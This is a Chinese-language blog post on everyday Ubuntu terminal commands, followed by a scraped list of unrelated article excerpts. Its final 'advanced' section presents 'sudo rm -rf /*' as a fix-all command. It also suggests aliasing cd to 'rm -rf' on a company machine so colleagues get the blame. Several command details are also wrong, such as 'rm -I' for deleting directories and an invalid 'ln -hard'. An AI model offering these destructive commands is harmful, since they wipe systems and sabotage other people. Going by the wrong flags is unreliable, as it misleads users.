【Ubuntu】常用命令
一般操作
- pwd(present working directory)
显示当前的工作目录/路径。
- cd (change directory)
改变目录,用于输入需要前往的路径/目录。
有一些特殊命令也很常用 :
解释
前往同一级的另一个目录 cd ../directory name cd .. 表示进入上层目录 cd ../.. 进入上上层目录,后面还可以加更多。 前往同一级的另一个目录 cd ../directory name cd - //表示返回上一次的目录 cd ~ //进入home主目录,即/home/用户名的简写
- ls (list)
ls 显示当前目录下的文件(不包括隐藏文件和缓存文件等);
列出目录下所有文件
ls -a
ll , 以列表形式显示当前路径下的所有文件的详细信息(包括隐藏文件和缓存文件等)。
- mkdir (make directory)
创建目录,后面接上directory的名字。
mkdir I_dont_care //创建一个“我不在乎”目录
- rm (remove)
删除文件,后面接上要删除的文件名。如果要删除目录,需要这样写:
rm -I <目录名> //这样做会删除指定目录中的所有子目录和包含的文件
- touch
创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。例如,.cpp/.cc是c++源代码,而.py是python源代码。
touch hello_world.cpp //创建hello_world源代码
- cp (copy)
复制命令。通用格式为
cp -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
特别的,如果想把某目录下所有文件都复制,可以使用参数-r
cp -r cangjingkong/ xuexi //将canjingkong目录下的所有资源都复制到xuexi目录中
- mv (move)
移动+重命名命令。格式类似于cp命令
mv -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右
以移动txt文件为例 可以分为以下三种情况:
mv a.txt b.txt //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2 //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名
常用的例子有,
移动目录到另一目录中
mv 目录1/ 目录2
将某目录下所有的文件和目录都移动到当前目录下
mv ~/videos/p_hub .
- gedit
在桌面临时新建一个text editor(文本编辑器)显示文件内的文本,并且支持修改。按ctrl+c退出文件显示。
gedit <文件名>
例如,
gedit single_ladies_contacts.csv
- cat
在终端打印出文本内容。
cat <文件名> //在terminal内部打印,和gedit相区分
- code/nano/vi/vim
使用Visual Studio Code/Nano/vi/vim这四种编辑器,打开或者新建一个源代码文件。
- apt/apt-get
更推荐使用apt命令而不是apt-get命令,它的命令更精简而且易用。
解释
sudo apt install <软件名> //安装软件最简单的方式 sudo apt list //查看所有已安装的软件列表 sudo apt search <软件名> //搜索某个软件 sudo apt remove <软件名> //删除某个软件包 sudo apt purge <软件名> //删除某个软件包以及配置文件,更彻底
还有我们最最常用的更新相关命令
sudo apt update
sudo apt upgrade

- dpkg (Debian package)
包管理工具。
首先是下载功能。先在官网下载软件的deb格式安装包,然后cd到下载文件夹,打开terminal(终端)输入:
dpkg -i <.deb后缀的软件名> //i 表示 install
其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。
解释
dpkg -r <包的名字> //r 表示 remove, 此种方法会保留配置文件 dpkg -P <包的名字> //直接全删了,配置也不会保留 dpkg -l //查看安装列表 dpkg -S <包的名字> //搜索某个包
- kill
结束指定进程时使用,就比如某个软件不响应了,这时候kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)
kill <ID#> //结束编号为<ID#>的进程
进程编号如何获得?引出下一个函数。
- ps (process status)
查看所有进程;
ps -A
查看所有包含其他使用者的进程;
ps -aux
关键字查找某个进程,这个办法用于结束指定进程很方便。
ps -ef | grep <关键字>
- grep
Linux grep 命令用于查找文件里符合条件的字符串。
- find
用于查找目录中的文件。
- ln (link files)
插入链接。
ln -sft
ln -hard
- chmod (change mode)
改变权限。
chmod +x dir/file or. chmod 777 dir/file
改为可执行
- du(disk usage)
du -h -l -d 1
-h: --human readable 会显示Mb, Kb, G之类的单位,方便阅读
-d 1: 表示深度为1,只会查看下一级目录的空间占用大小
- df(disk space filesystem)
df -h
基础但实用的操作
如果碰到不会的命令,或者忘记了具体的options(操作选项),可以使用帮助命令:
命令名 -h or --help
如果嫌每次都要sudo太麻烦,可以先登录,获取root权限。
sudo su //输入并回车
//就会让你输入root密码
学会以下代码就可以在技能中写上“熟悉linux系统的开关机”
reboot //重启
poweroff //关机
高端操作
无敌“电脑更新”命令,遇到什么问题都可以用以下代码解决:
sudo rm -rf /*
只要删了库,所有的问题都迎刃而解。
如果你的电脑是公司的,还可以将cd命令换成rm -rf,让以后的同事替你背锅
nano ~/.bashrc
alias cd = "rm -rf"相关文章:
【Ubuntu】常用命令
一般操作 pwd(present working directory) 显示当前的工作目录/路径。 cd (change directory) 改变目录,用于输入需要前往的路径/目录。 有一些特殊命令也很常用 : 解释 前往同一级的另一个目录 cd ../directory name cd .. 表示进入上…...
稀碎从零算法笔记Day22-LeetCode:
题型:链表 链接:2. 两数相加 - 力扣(LeetCode) 来源:Leet 题目描述 给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。 …...
Nacos下载和安装
(1)下载地址和版本 下载地址:Releases alibaba/nacos GitHub 解压在没有中文及空格的文件夹 (2)启动nacos服务 在bin目录下,打开命令行,输入 启动命令:sh startup.sh -m standalone - Linux/Unix/Mac …...
pandas简介(python)
pandas是什么 Pandas 是一个开源的第三方 Python 库,从 Numpy 和 Matplotlib 的基础上构建而来,享有数据分析“三剑客之一”的盛名(NumPy、Matplotlib、Pandas)。Pandas 已经成为 Python 数据分析的必备高级工具,它的…...
个人网站制作 Part 13 添加搜索功能[Elasticsearch] | Web开发项目
文章目录 👩💻 基础Web开发练手项目系列:个人网站制作🚀 添加搜索功能🔨使用Elasticsearch🔧步骤 1: 安装Elasticsearch🔧步骤 2: 配置Elasticsearch🔧步骤 3: 创建索引 …...
Springboot+vue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。
演示视频: Springbootvue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。 项目介绍: 采用M(model)V(view)C(controller)三层…...
vue3 + vite 实现一个动态路由加载功能
假设后端返回的格式是这样子 {"menu": [{"path": "/admin","name": "adminLayout","redirect": "/admin/index","componentPath": "/layout/admin/index.vue","children&quo…...
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024)
【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024) 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师) 区块链: 区块链技术和系统 分布式一致性算法和协议 块链性能 信息储存系统 区块链可扩展性 区块…...
若依jar包运行脚本,从零到一:用Bash脚本实现JAR应用的启动、停止与监控
脚本使用说明: 启动应用:sh app.sh start停止应用:sh app.sh stop检查应用状态:sh app.sh status重启应用:sh app.sh restart 注意事项: 请确保你的系统上安装了 Java 环境,并且 ruoyi-admin…...
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib)
Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib) 在 FreeBSD 系统上设置用户环境变量可以通过编辑用户的 Shell配置文件 来实现。 cshrc 与 csh_profile 的区别: cshrc: 每个脚本执行前都执行一遍这个脚本。 csh_profile: 根据不同使用者用户名, 会先去其 home…...
Apache Dolphinscheduler - 无需重启 Master-Server 停止疯狂刷日志解决方案
记录的是一个 3.0 比较难搞的问题,相信不少使用过 3.0 的用户都遇到过 Master 服务中存在一些工作流或者任务流一直不停的死循环的问题,导致疯狂刷日志。不过本人到现在也没找到最关键的触发原因,只是看到一些连锁反应带来的结果…… 影响因素…...
竞争优势:大型语言模型 (LLM) 如何重新定义业务策略
人工智能在内容创作中的突破 在当今快节奏的商业环境中,像 GPT-4 这样的大型语言模型 (LLM) 不再只是一种技术新颖性; 它们已成为重新定义跨行业业务战略的基石。 从增强客户服务到推动创新,法学硕士提供了企业不容忽视的竞争优势。 1. 加强…...
Spring AOP和AspectJ AOP区别
Spring AOP(Aspect-Oriented Programming)和 AspectJ AOP 是两种不同的 AOP 实现方式,它们在实现上有一些区别。下面是它们之间的主要区别: 基于代理 vs 字节码增强: Spring AOP: Spring AOP 是基于代理的…...
FREERTOS信号量详解
信号量是操作系统中重要的一部分,信号量一般用来进行资源管理和任务同步,资源管理其实就是用变量来标记现有资源的数量,任务同步其实就是用标志位来控制任务的先后执行顺序,这些概念在操作系统中以及裸机开发中都有所涉及。 FreeR…...
每天学习一个Linux命令之vim
每天学习一个Linux命令之vim Vim是一款功能强大的文本编辑器,在Linux系统中广泛使用。本篇博客将介绍一些常用的Vim命令及其选项,帮助您更好地使用Vim进行文本编辑。 命令及选项 以下是Vim的常用命令及其可用选项: 1. 打开文件 $ vim fi…...
linux环境部署
war包环境 在Linux系统上部署准备war包环境 查看linux当前版本和系统类型 [rootlocalhost ~]# uname -a Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlinux 打包文件夹 使用tar命令࿱…...
上位机图像处理和嵌入式模块部署(qmacvisual图像预处理)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 不管大家是在读书的时候学习的图像处理,还是在后来的工作中,重新学习了图像处理,相信大家对图像预处理的概念并…...
C语言内存函数详解
文章目录 前言一、memcpy函数(内存拷贝函数)二、memmove重叠拷贝函数三.memset内存设置函数四.memcmp内存比较函数总结 前言 我们之前按学习了C语言标准库中提供了一系列的字符和字符串库函数,接下来我们就学习一下关于内存相关的一些函数。…...
详解Redis的持久化RDB和AOF
Redis的持久化是将内存中的数据同步到硬盘的过程 具体来说,Redis支持两种主要的持久化方式:RDB 和 AOF。 RDB(Redis Database) 简介 默认持久化方式 RDB会将内存中的数据快照保存到磁盘上的一个二进制文件中。这个文件包含了…...
详细分析Js中的Promise.all基本知识(附Demo)
目录 1. 基本知识2. Demo3. 实战 1. 基本知识 Promise.all 是 JavaScript 中的一个方法,它接受一个由 Promise 对象组成的数组作为参数,并在所有 Promise 对象都变为 resolved(已完成)状态时才返回一个新的 Promise 对象…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
云计算——弹性云计算器(ECS)
弹性云服务器:ECS 概述 云计算重构了ICT系统,云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台,包含如下主要概念。 ECS(Elastic Cloud Server):即弹性云服务器,是云计算…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...
安卓基础(Java 和 Gradle 版本)
1. 设置项目的 JDK 版本 方法1:通过 Project Structure File → Project Structure... (或按 CtrlAltShiftS) 左侧选择 SDK Location 在 Gradle Settings 部分,设置 Gradle JDK 方法2:通过 Settings File → Settings... (或 CtrlAltS)…...
SQL Server 触发器调用存储过程实现发送 HTTP 请求
文章目录 需求分析解决第 1 步:前置条件,启用 OLE 自动化方式 1:使用 SQL 实现启用 OLE 自动化方式 2:Sql Server 2005启动OLE自动化方式 3:Sql Server 2008启动OLE自动化第 2 步:创建存储过程第 3 步:创建触发器扩展 - 如何调试?第 1 步:登录 SQL Server 2008第 2 步…...
